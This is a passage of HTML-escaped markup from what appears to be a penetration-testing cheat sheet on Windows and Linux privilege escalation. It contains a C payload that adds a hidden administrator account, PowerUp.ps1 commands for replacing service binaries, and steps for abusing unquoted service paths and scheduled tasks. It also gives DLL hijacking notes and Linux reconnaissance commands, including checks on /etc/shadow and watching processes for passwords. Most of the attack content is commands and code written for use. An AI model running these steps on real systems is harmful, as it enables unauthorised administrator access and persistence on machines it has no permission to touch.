class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;stdlib.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int main ()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int i;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = system (&amp;#34;net user dave2 password123! /add&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = system (&amp;#34;net localgroup administrators dave2 /add&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return 0;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;x86_64-w64-mingw32-gcc adduser.c -o adduser.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then use net stop or net start on the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the target service&amp;#39;s startup type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like &amp;#39;mysql&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AUTO means automatic startup&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="powerupps1"&gt;&lt;a href="#powerupps1" class="header-anchor"&gt;&lt;/a&gt;PowerUp.ps1&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Show modifiable services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ModifiableServiceFile&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Replace the binary in one step; by default, this creates a local user named john with password Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Install-ServiceBinary -Name &amp;#39;mysql&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Manual test: check permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ModifiablePath IdentityReference Permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-------------- ----------------- -----------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe argument&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ModifiablePath IdentityReference Permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-------------- ----------------- -----------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles = echo &amp;#39;C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path&amp;#39; | Get-ModifiablePath -Literal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\dave&amp;gt; $ModifiableFiles&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;DLL Hijacking&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Principle: use the command below to identify the software version, then search for an exploit by vulnerability type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ItemProperty &amp;#34;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&amp;#34; | select displayname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FileZilla FTP 3.63.1 is vulnerable to DLL hijacking&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="unquoted-service-paths-a-very-important-and-interesting-trick"&gt;&lt;a href="#unquoted-service-paths-a-very-important-and-interesting-trick" class="header-anchor"&gt;&lt;/a&gt;Unquoted Service Paths (A Very Important and Interesting Trick)&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate running and stopped services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;Auto&amp;#34; |findstr /i /v &amp;#34;C:\Windows\\&amp;#34; |findstr /i /v &amp;#34;&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,pathname | findstr /i /v &amp;#34;C:\Windows\\&amp;#34; | findstr /i /v &amp;#34;&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;auto&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For example, the configured path below is unquoted&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My Service\service.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Principle&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Program Files\My Program\My service\service.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Then restart the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\Program Files, or name it My.exe and place it in C:\Program Files\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application&amp;rsquo;s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Detailed command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Program Files&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Program Files\Enterprise Apps&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Find a directory where the current user has W permission, then place an EXE file there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After finding one, run the command below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This is another PowerUp.ps1 technique.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerUp.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Like the above, output vulnerable services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-UnquotedService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Select the write path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Write-ServiceBinary -Name &amp;#39;GammaService&amp;#39; -Path &amp;#34;C:\Program Files\Enterprise Apps\Current.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restart the service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Restart-Service GammaService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The default behavior creates a new local user named john with password Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="scheduled-task-privilege-escalation"&gt;&lt;a href="#scheduled-task-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Scheduled Task Privilege Escalation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v | findstr /i &amp;#34;Every:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v | findstr /i /C:&amp;#34;TaskName&amp;#34; /C:&amp;#34;Every:&amp;#34; /C:&amp;#34;Task To Run:&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Identify the specific task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;\Microsoft\Windows\SomeTask&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Confirm permissions, then replace it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Exploit-Based Privilege Escalation&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systeminfo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq &amp;#34;Security Update&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="linux-privilege-escalation-information-gathering"&gt;&lt;a href="#linux-privilege-escalation-information-gathering" class="header-anchor"&gt;&lt;/a&gt;Linux Privilege Escalation (Information Gathering)&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -l /etc/shadow&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/issue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/os-release&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ps aux&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;routel&#9;#Routing table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ss -anp&#9;#All connections&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/iptables/rules.v4&#9;#Firewall configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls -lah /etc/cron*&#9;&#9;&#9;&#9;&#9;#Scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crontab -l&#9;&#9;#Scheduled tasks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dpkg -l&#9;&#9;&#9;&#9;#Installed applications&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find / -writable -type d 2&amp;gt;/dev/null&#9;#Writable directories&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/fstab&#9;&#9;#Show mounted drives&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount&#9;&#9;&#9;&#9;&#9;#Mounted filesystems&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsblk&#9;&#9;&#9;&#9;&#9;#View available disks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsmod&#9;&#9;&#9;&#9;&#9;#View loaded kernel modules&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/sbin/modinfo libata&#9;#View more information about the module identified above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.bashrc&#9;&#9;&#9;&#9;#Script that automatically sets environment variables and may contain useful information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;env&#9;&#9;&#9;&#9;&#9;&#9;#View environment variables that may contain useful information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;watch -n 1 &amp;#34;ps -aux | grep pass&amp;#34;&#9;&#9;#Similar to a lightweight pspy32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 